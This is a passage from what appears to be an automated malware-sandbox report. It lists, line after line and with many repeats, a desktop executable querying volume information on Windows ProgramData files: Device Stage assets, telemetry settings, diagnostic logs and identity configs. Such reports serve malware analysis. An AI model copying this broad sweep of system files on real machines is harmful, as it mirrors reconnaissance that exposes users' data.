    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-GB VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-GB\resource.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-GB\resource.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-GB\resource.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\folder.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\netfol.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\netfol.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\pictures.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\pictures.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ringtones.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ringtones.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\settings.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\settings.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\sync.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\wmp.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-GB VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-GB\resource.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-GB\resource.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-GB\resource.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\folder.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\folder.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\print_pref.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\print_property.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\print_queue.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\print_queue.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\scan_settings.ico VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\CustomTraceProfiles VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json.bk VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json.bk VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\TELEMETRY.ASM-WINDOWSSQ.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\TELEMETRY.ASM-WINDOWSSQ.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\TELEMETRY.ASM-WINDOWSSQ.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-7005b72804a64fa4b2138faab88f877b-14cf798a-05a4-4b7b-9d02-4d99259ebd4a-7553.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-7e1cd04ad2694f1d89fd94ad5005a8e2-a696c450-a52d-45b4-844d-bb5b45de5f0c-7607.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-7e1cd04ad2694f1d89fd94ad5005a8e2-a696c450-a52d-45b4-844d-bb5b45de5f0c-7607.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-7e1cd04ad2694f1d89fd94ad5005a8e2-a696c450-a52d-45b4-844d-bb5b45de5f0c-7607.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-d5a8f02229be41efb047bd8f883ba799-59258264-451c-4459-8c09-75d7d721219a-7112.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-ARIA-d5a8f02229be41efb047bd8f883ba799-59258264-451c-4459-8c09-75d7d721219a-7112.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-Eco3PTelDefault.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-Eco3PTelDefault.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.P-Eco3PTelDefault.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.allow.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.allow.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.allow.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.app.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.app.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.app.json.bk VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.app.json.bk VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.privacy.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.privacy.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.privacy.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json.bk VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json.bk VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\ETLLogs\Autologger VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ScenarioShutdownLogger VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\Diagtrack-Listener.etl VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\Diagtrack-Listener.etl VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\Diagtrack-Listener.etl VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\EventStore.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\EventStore.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\EventTranscript VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\FeedbackHub VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\LocalTraceStore VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\osver.txt VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\osver.txt VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\osver.txt VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\parse.dat VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\parse.dat VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\parse.dat VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\Sideload VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\Siufloc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\SoftLandingStage VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\Temp\DiagTrackTraceSlot_alternativeTrace VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\Temp\DiagTrackTraceSlot_diag VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\Temp\DiagTrackTraceSlot_miniTrace VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Diagnosis\TimeTravelDebuggingStorage VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\DiagnosticLogCSP\Collectors\DiagnosticLogCSP_Collector_Autopilot_2023_10_3_9_57_25.etl VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\DiagnosticLogCSP\Collectors\DiagnosticLogCSP_Collector_Autopilot_2023_10_3_9_59_39.etl VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\DiagnosticLogCSP\Collectors\DiagnosticLogCSP_Collector_Autopilot_2023_10_3_9_59_39.etl VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\DiagnosticLogCSP\Collectors\DiagnosticLogCSP_Collector_DeviceProvisioning_2023_10_3_8_56_48.etl VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\DiagnosticLogCSP\Collectors\DiagnosticLogCSP_Collector_DeviceProvisioning_2023_10_3_8_56_48.etl VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\DiagnosticLogCSP\Collectors\DiagnosticLogCSP_Collector_DeviceProvisioning_2023_10_4_9_46_43.etl VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\DiagnosticLogCSP\DeviceStateData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\DRM\Server VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\EdgeUpdate\Log VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\EdgeUpdate\Log\MicrosoftEdgeUpdate.log VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\IdentityCRL\INT\wlidsvcconfig.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\IdentityCRL\production\wlidsvcconfig.xml VolumeInformationJump to behavior
